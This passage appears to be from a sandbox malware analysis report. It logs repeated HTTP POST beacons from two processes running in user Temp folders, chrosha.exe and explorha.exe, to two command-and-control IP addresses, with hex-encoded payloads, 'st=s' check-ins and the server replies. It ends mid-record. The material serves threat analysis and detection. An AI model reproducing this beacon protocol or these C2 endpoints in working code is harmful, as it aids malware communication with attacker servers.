Apr 19, 2024 03:31:51.298861980 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:51.551752090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.5	50253	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:51.668190956 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:51.919972897 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.5	50254	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:51.913796902 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:52.158246040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.5	50255	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:52.168215036 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:52.418425083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.5	50256	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:52.407548904 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:52.656743050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.5	50257	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:52.775890112 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:53.024195910 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.5	50258	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:53.011682987 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:53.260895967 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.5	50259	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:53.276309013 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:53.529124975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.5	50260	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:53.510317087 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:53.758888960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.5	50261	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:53.882548094 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:54.127079964 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.5	50262	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:54.114581108 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:54.358174086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.5	50263	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:54.379982948 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:54.634313107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.5	50264	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:54.612652063 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:54.865683079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.5	50265	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:54.996042013 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:55.247633934 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.5	50266	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:55.218303919 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:55.457772017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.5	50267	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:55.497378111 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:55.748337030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.5	50268	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:55.706698895 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:55.953375101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.5	50269	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:56.102848053 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:56.348803043 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.5	50270	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:56.303739071 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:56.547142982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.5	50271	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:56.593373060 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:56.840373039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.5	50272	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:56.813230991 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:57.065231085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.5	50273	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:57.195770979 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:57.440165997 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.5	50274	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:57.433562994 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:57.681734085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.5	50275	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
